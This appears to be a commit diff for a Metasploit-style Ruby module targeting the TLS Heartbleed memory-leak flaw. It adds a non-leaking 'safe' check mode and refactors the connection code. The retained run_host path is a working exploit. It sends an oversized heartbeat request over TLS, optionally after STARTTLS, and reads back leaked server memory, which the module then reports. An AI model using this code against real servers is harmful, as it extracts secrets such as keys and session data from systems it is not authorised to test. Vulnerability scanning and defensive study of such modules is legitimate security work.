@@ -145,6 +145,10 @@ def run
145
145
super
146
146
end
147
147
148
+ def max_record_length
149
+ 1 << 14
150
+ end
151
+
148
152
def heartbeat_length
149
153
datastore [ "HEARTBEAT_LENGTH" ]
150
154
end
@@ -241,65 +245,93 @@ def tls_ftp
241
245
res
242
246
end
243
247
244
- def run_host ( ip )
245
- connect
248
+ def check_host ( ip )
249
+ heartbeat_data = test_host ( ip , true )
246
250
247
- unless datastore [ 'STARTTLS' ] == 'None'
248
- vprint_status ( "#{ peer } - Trying to start SSL via #{ datastore [ 'STARTTLS' ] } " )
249
- res = self . send ( TLS_CALLBACKS [ datastore [ 'STARTTLS' ] ] )
250
- if res . nil?
251
- vprint_error ( "#{ peer } - STARTTLS failed..." )
252
- return
253
- end
251
+ if heartbeat_data
252
+ return Exploit ::CheckCode ::Appears
254
253
end
255
254
256
- vprint_status ( " #{ peer } - Sending Client Hello..." )
257
- sock . put ( client_hello )
255
+ Exploit :: CheckCode :: Safe
256
+ end
258
257
259
- server_hello = sock . get
260
- unless server_hello . unpack ( "C" ) . first == HANDSHAKE_RECORD_TYPE
261
- vprint_error ( "#{ peer } - Server Hello Not Found" )
262
- return
263
- end
258
+ def test_host ( ip , safe = false )
259
+ heartbeat_data = nil
260
+ begin
261
+ connect
262
+
263
+ unless datastore [ 'STARTTLS' ] == 'None'
264
+ vprint_status ( "#{ peer } - Trying to start SSL via #{ datastore [ 'STARTTLS' ] } " )
265
+ res = self . send ( TLS_CALLBACKS [ datastore [ 'STARTTLS' ] ] )
266
+ if res . nil?
267
+ vprint_error ( "#{ peer } - STARTTLS failed..." )
268
+ return
269
+ end
270
+ end
264
271
265
- vprint_status ( "#{ peer } - Sending Heartbeat..." )
266
- sock . put ( heartbeat ( heartbeat_length ) )
267
- hdr = sock . get_once ( 5 )
268
- if hdr . blank?
269
- vprint_error ( "#{ peer } - No Heartbeat response..." )
270
- return
271
- end
272
+ vprint_status ( "#{ peer } - Sending Client Hello..." )
273
+ sock . put ( client_hello )
272
274
273
- unpacked = hdr . unpack ( 'Cnn' )
274
- type = unpacked [ 0 ]
275
- version = unpacked [ 1 ] # must match the type from client_hello
276
- len = unpacked [ 2 ]
277
-
278
- # try to get the TLS error
279
- if type == ALERT_RECORD_TYPE
280
- res = sock . get_once ( len )
281
- alert_unp = res . unpack ( 'CC' )
282
- alert_level = alert_unp [ 0 ]
283
- alert_desc = alert_unp [ 1 ]
284
- msg = "Unknown error"
285
- # http://tools.ietf.org/html/rfc5246#section-7.2
286
- case alert_desc
287
- when 0x46
288
- msg = "Protocol error. Looks like the chosen protocol is not supported."
275
+ server_hello = sock . get
276
+ unless server_hello . unpack ( "C" ) . first == HANDSHAKE_RECORD_TYPE
277
+ vprint_error ( "#{ peer } - Server Hello Not Found" )
278
+ return
289
279
end
290
- vprint_error ( "#{ peer } - #{ msg } " )
291
- disconnect
292
- return
293
- end
294
280
295
- unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION [ datastore [ 'TLSVERSION' ] ]
296
- vprint_error ( "#{ peer } - Unexpected Heartbeat response" )
281
+ vprint_status ( "#{ peer } - Sending Heartbeat..." )
282
+ if safe
283
+ # 3 is magical. As you know.
284
+ sock . put ( heartbeat ( max_record_length - 3 , safe ) + heartbeat ( 0 , safe ) )
285
+ else
286
+ sock . put ( heartbeat ( heartbeat_length ) )
287
+ end
288
+ hdr = sock . get_once ( 5 )
289
+ if hdr . blank?
290
+ vprint_error ( "#{ peer } - No Heartbeat response..." )
291
+ return
292
+ end
293
+
294
+ unpacked = hdr . unpack ( 'Cnn' )
295
+ type = unpacked [ 0 ]
296
+ version = unpacked [ 1 ] # must match the type from client_hello
297
+ len = unpacked [ 2 ]
298
+
299
+ # try to get the TLS error
300
+ if type == ALERT_RECORD_TYPE
301
+ res = sock . get_once ( len )
302
+ alert_unp = res . unpack ( 'CC' )
303
+ alert_level = alert_unp [ 0 ]
304
+ alert_desc = alert_unp [ 1 ]
305
+ msg = "Unknown error"
306
+ # http://tools.ietf.org/html/rfc5246#section-7.2
307
+ case alert_desc
308
+ when 0x46
309
+ msg = "Protocol error. Looks like the chosen protocol is not supported."
310
+ end
311
+ vprint_error ( "#{ peer } - #{ msg } " )
312
+ return
313
+ end
314
+
315
+ unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION [ datastore [ 'TLSVERSION' ] ]
316
+ vprint_error ( "#{ peer } - Unexpected Heartbeat response" )
317
+ return
318
+ end
319
+
320
+ vprint_status ( "#{ peer } - Heartbeat response, checking if there is data leaked..." )
321
+
322
+ length = safe ? max_record_length : heartbeat_length
323
+ heartbeat_data = sock . get_once ( length ) # Read the magic length...
324
+ rescue EOFError
325
+ vprint_error ( "#{ peer } - EOFError" )
326
+ ensure
297
327
disconnect
298
- return
299
328
end
329
+ heartbeat_data
330
+ end
331
+
332
+ def run_host ( ip )
333
+ heartbeat_data = test_host ( ip )
300
334
301
- vprint_status ( "#{ peer } - Heartbeat response, checking if there is data leaked..." )
302
- heartbeat_data = sock . get_once ( heartbeat_length ) # Read the magic length...
303
335
if heartbeat_data
304
336
print_good ( "#{ peer } - Heartbeat response with leak" )
305
337
report_vuln ( {
@@ -332,10 +364,15 @@ def run_host(ip)
332
364
end
333
365
end
334
366
335
- def heartbeat ( length )
367
+ def heartbeat ( length , safe = false )
336
368
payload = "\x01 " # Heartbeat Message Type: Request (1)
337
369
payload << [ length ] . pack ( "n" ) # Payload Length: 65535
338
370
371
+ # handle safe detection
372
+ if safe
373
+ payload << Array . new ( length , 1 ) . pack ( "C*" ) # Dummy values
374
+ end
375
+
339
376
ssl_record ( HEARTBEAT_RECORD_TYPE , payload )
340
377
end
341
378
0 commit comments